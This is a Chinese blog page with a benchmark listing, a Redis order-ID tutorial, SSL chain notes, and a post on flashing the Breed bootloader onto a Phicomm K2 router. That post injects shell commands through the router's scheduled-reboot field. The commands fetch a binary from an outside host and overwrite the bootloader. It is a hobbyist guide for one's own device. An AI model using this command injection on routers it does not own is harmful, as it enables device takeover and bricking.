Dhrystone 2 using register variables       37814112.0 lps   (10.0 s, 7 samples)
Double-Precision Whetstone                     4636.3 MWIPS (9.9 s, 7 samples)
Execl Throughput                               5593.4 lps   (29.9 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks       1373737.3 KBps  (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks          410763.0 KBps  (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks       2743005.2 KBps  (30.0 s, 2 samples)
Pipe Throughput                             3097094.7 lps   (10.0 s, 7 samples)
Pipe-based Context Switching                 513503.5 lps   (10.0 s, 7 samples)
Process Creation                              19219.9 lps   (30.0 s, 2 samples)
Shell Scripts (1 concurrent)                   9841.0 lpm   (60.0 s, 2 samples)
Shell Scripts (8 concurrent)                   1244.4 lpm   (60.0 s, 2 samples)
System Call Overhead                        5295854.7 lps   (10.0 s, 7 samples)

System Benchmarks Index Values               BASELINE       RESULT    INDEX
Dhrystone 2 using register variables         116700.0   37814112.0   3240.3
Double-Precision Whetstone                       55.0       4636.3    843.0
Execl Throughput                                 43.0       5593.4   1300.8
File Copy 1024 bufsize 2000 maxblocks          3960.0    1373737.3   3469.0
File Copy 256 bufsize 500 maxblocks            1655.0     410763.0   2482.0
File Copy 4096 bufsize 8000 maxblocks          5800.0    2743005.2   4729.3
Pipe Throughput                               12440.0    3097094.7   2489.6
Pipe-based Context Switching                   4000.0     513503.5   1283.8
Process Creation                                126.0      19219.9   1525.4
Shell Scripts (1 concurrent)                     42.4       9841.0   2321.0
Shell Scripts (8 concurrent)                      6.0       1244.4   2074.0
System Call Overhead                          15000.0    5295854.7   3530.6
                                                                   ========
System Benchmarks Index Score                                        2187.2

其他我使用过的vps测试

发表在 树莓派 | 标签为 , | 留下评论

破解最新版k2刷breed教程

一开始K2是可以连接telnet刷机的,后来官方出了新版固件封堵了这一漏洞,后来聪明的网友使用降级的方式来破解,又被官方封堵了,今天带来了不需要任何工具来刷breed,但是前提是,需要一个chrome浏览器,和路由器联网,以及原固件带有定时重启路由功能。
1.登录到路由器管理界面,点击右上角的电源按钮,选择定时重启。
2.点击启用定时功能
3.按F12(最新版的固件F12都禁止了,可以使用chrome的右上角的“菜单”-》“更多工具”-》“开发者工具”)
4.在Console里面黏贴下面的语句,每次运行一条然后按enter键

[code lang=”javascript”]
$("#timerebootmin").val("05 | wget http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin")
$("#timeRebootSave").click()
$("#timerebootmin").val("05 | mtd unlock Bootloader");
$("#timeRebootSave").click()
$("#timerebootmin").val("05 | mtd write breed-mt7620-phicomm-psg1208.bin Bootloader")
$("#timeRebootSave").click()
[/code]

5.路由器断电
6.按住Reset键,插入电源,等待3秒,松开Reset,登录到192.168.1.1,可以看到breed恢复控制台,然后刷入自己想刷入的固件吧

发表在 经验分享 | 标签为 , | 留下评论

电商网站中生成订单号的正确方式

好久没写博客啦,前段时间备案网站一直处于关闭状态。顺便吐槽下,为什么备案需要关站,我觉得打开才对嘛,这样才能核实信息才对。

开始正文

一般我们生成订单号有以下几种方式

一.利用数据库的自增主键来生成唯一ID

二.使用时间戳,加上毫秒,甚至微秒。如果订单交易频率实在很高再加上一个随机数。

三.利用UUID、GUID生成唯一订单号。

……..

这几种方案的缺点

第一种,利用数据库解决,显而易见的是效率瓶颈,每次生成都有IO操作,IO是非常开销是非常巨大的,高峰期的时候完全承受不住。

第二种,虽然存在一定的互斥行为,抢同一订单号,虽然情况很少但是还是存在这些情况。

第三中,虽然解决了唯一但是并没有解决可读性问题。

我的方案

利用依靠redis内存数据库来解决这些问题,redis 中有个incr命令,该命令每次执行的时候都会对指定的KEY 的值进行加+1操作,而且是原子性的。这样每次调用命令生成的订单号都是不相同,但是这种方案还是有个缺点,很容易暴露系统的交易情况,猜出下一个订单号。我们可以在这基础上进行扩展,随机生成订单号,写入Redis,然后每次使用的时候进行获取操作,这样保证了订单号的随机性。 并且Redis可以将内存数据异步写入到磁盘中,避免单例服务器宕机的情况下依然可以从磁盘中恢复。

安装redis扩展

Mac OS X

[bash]
brew install homebrew/php/php56-redis
[/bash]

代码实现

<?php
/**
 * Created by PhpStorm.
 * User: xiaoxingxing
 * Date: 2016/11/27
 * Time: 上午1:07
 */
//生产订单号
$redis = new Redis();//安装Redis扩展
$redis->connect("127.0.0.1");//建立连接
$date = date('Ymd');//订单号前缀,使用日期标识
$range_arr = range(1,100);//产生100个KEY数组
shuffle($range_arr);//数组打乱
foreach ($range_arr as $k=>$v) {//遍历插入
    $order_id = $date.str_pad($v,5,0,STR_PAD_LEFT);
    $redis->rPush('order_id',$order_id);// order_id  value1 value2
}
echo "Success";

<?php
/**
 * Created by PhpStorm.
 * User: xiaoxingxing
 * Date: 2016/11/27
 * Time: 上午10:37
 */
//消费订单号
$redis = new Redis();
$redis->connect("127.0.0.1");
$order_id = $redis->lPop('order_id');//移除并获取一个元素。
echo $order_id;

发表在 笔记 | 标签为 | 留下评论

Alpha SSL证书链(中间)证书安装

一,什么是证书链
SSL证书需要证书授权中心签发的证书才是可信的,浏览器所信任的证书是由ROOT CA签发。集成在浏览器里,随着系统更新而更新。

rootca

一般情况下我们的SSL,并不一定是由ROOT CA签发,更多的情况是由ROOT CA 的下一级签发(中间CA,Intermediate CA)

intermediateca

这样造成,我们虽然按照流程安装了SSL,但是还是表现为不可信。

二,安装中间证书

以AlphaSSL为例,在签发的时候会要求你到https://www.alphassl.com/support/install-root-certificate.html,选择合适的加密方式,然后复制到原有的crt文件底部。然后重启服务器,这样才能完成SSL的全部安装,安装完成后可以到https://www.ssllabs.com/ssltest/检测安装。

发表在 笔记 | 留下评论